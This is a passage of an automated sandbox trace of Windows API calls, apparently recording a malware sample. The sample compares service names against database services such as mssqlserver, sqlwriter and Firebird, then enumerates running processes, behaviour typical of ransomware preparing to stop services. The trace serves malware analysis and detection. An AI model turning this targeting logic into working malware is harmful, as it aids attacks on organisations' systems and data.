(lpString1="sqlwriter", lpString2="Power") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0077.889] lstrlenW (lpString="ProfSvc") returned 7 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0077.889] lstrlenW (lpString="RpcEptMapper") returned 12 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0077.889] lstrlenW (lpString="RpcSs") returned 5 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0077.889] lstrlenW (lpString="SamSs") returned 5 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0077.890] lstrlenW (lpString="Schedule") returned 8 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0077.890] lstrlenW (lpString="SecurityHealthService") returned 21 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0077.890] lstrlenW (lpString="SENS") returned 4 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0077.890] lstrlenW (lpString="ShellHWDetection") returned 16 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0077.890] lstrlenW (lpString="Spooler") returned 7 [0077.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0077.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0077.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0077.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0077.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0077.890] lstrlenW (lpString="SSDPSRV") returned 7 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0077.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0077.891] lstrlenW (lpString="StateRepository") returned 15 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0077.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0077.891] lstrlenW (lpString="SysMain") returned 7 [0077.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0077.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0077.891] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0077.891] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0077.891] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f3b70 | out: hHeap=0x490000) returned 1 [0077.891] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0077.897] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.898] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.898] lstrlenW (lpString="System") returned 6 [0077.898] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.899] lstrlenW (lpString="smss.exe") returned 8 [0077.899] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.899] lstrlenW (lpString="csrss.exe") returned 9 [0077.899] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.900] lstrlenW (lpString="wininit.exe") returned 11 [0077.900] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.900] lstrlenW (lpString="csrss.exe") returned 9 [0078.178] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0078.178] lstrlenW (lpString="winlogon.exe") returned 12 [0078.178] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0078.179] lstrlenW (lpString="services.exe") returned 12 [0078.179] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0078.179] lstrlenW (lpString="lsass.exe") returned 9 [0078.179] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.180] lstrlenW (lpString="svchost.exe") returned 11 [0078.180] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0078.180] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0078.180] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0078.181] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0078.181] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.182] lstrlenW (lpString="svchost.exe") returned 11 [0078.182] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.182] lstrlenW (lpString="dwm.exe") returned 7 [0078.182] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.183] lstrlenW (lpString="svchost.exe") returned 11 [0078.183] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.183] lstrlenW (lpString="svchost.exe") returned 11 [0078.183] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.184] lstrlenW (lpString="svchost.exe") returned 11 [0078.184] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.184] lstrlenW (lpString="svchost.exe") returned 11 [0078.185] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.185] lstrlenW (lpString="svchost.exe") returned 11 [0078.185] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.186] lstrlenW (lpString="svchost.exe") returned 11 [0078.186] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.186] lstrlenW (lpString="svchost.exe") returned 11 [0078.186] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.187] lstrlenW (lpString="svchost.exe") returned 11 [0078.187] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.187] lstrlenW (lpString="svchost.exe") returned 11 [0078.187] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.188] lstrlenW (lpString="svchost.exe") returned 11 [0078.188] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.188] lstrlenW (lpString="spoolsv.exe") returned 11 [0078.188] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.189] lstrlenW (lpString="svchost.exe") returned 11 [0078.189] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.189] lstrlenW (lpString="audiodg.exe") returned 11 [0078.189] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0078.190] lstrlenW (lpString="sihost.exe") returned 10 [0078.190] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.190] lstrlenW (lpString="svchost.exe") returned 11 [0078.190] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0078.191] lstrlenW (lpString="taskhostw.exe") returned 13 [0078.191] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.191] lstrlenW (lpString="explorer.exe") returned 12 [0078.191] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0078.192] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0078.192] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0078.192] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0078.192] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0078.193] lstrlenW (lpString="Memory Compression") returned 18 [0078.193] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0078.193] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0078.193] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0078.194] lstrlenW (lpString="SearchUI.exe") returned 12 [0078.194] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0078.194] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0078.195] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.195] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.195] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="furholdtopics.exe")) returned 1 [0078.196] lstrlenW (lpString="furholdtopics.exe") returned 17 [0078.196] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sensors conjunction petition.exe")) returned 1 [0078.196] lstrlenW (lpString="sensors conjunction petition.exe") returned 32 [0078.196] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="until_commit.exe")) returned 1 [0078.197] lstrlenW (lpString="until_commit.exe") returned 16 [0078.197] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cablesdiscussed.exe")) returned 1 [0078.197] lstrlenW (lpString="cablesdiscussed.exe") returned 19 [0078.197] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="unavailable cricket postcard.exe")) returned 1 [0078.198] lstrlenW (lpString="unavailable cricket postcard.exe") returned 32 [0078.198] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lexmark.exe")) returned 1 [0078.199] lstrlenW (lpString="lexmark.exe") returned 11 [0078.199] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0078.199] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0078.199] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0078.200] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0078.200] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0078.200] lstrlenW (lpString="delete disable changing.exe") returned 27 [0078.200] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0078.201] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0078.201] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0078.201] lstrlenW (lpString="underwear.exe") returned 13 [0078.201] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0078.202] lstrlenW (lpString="dear-hearings.exe") returned 17 [0078.202] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0078.202] lstrlenW (lpString="dllhost.exe") returned 11 [0078.202] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0078.203] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0078.203] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0078.203] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0078.203] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0078.204] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0078.204] 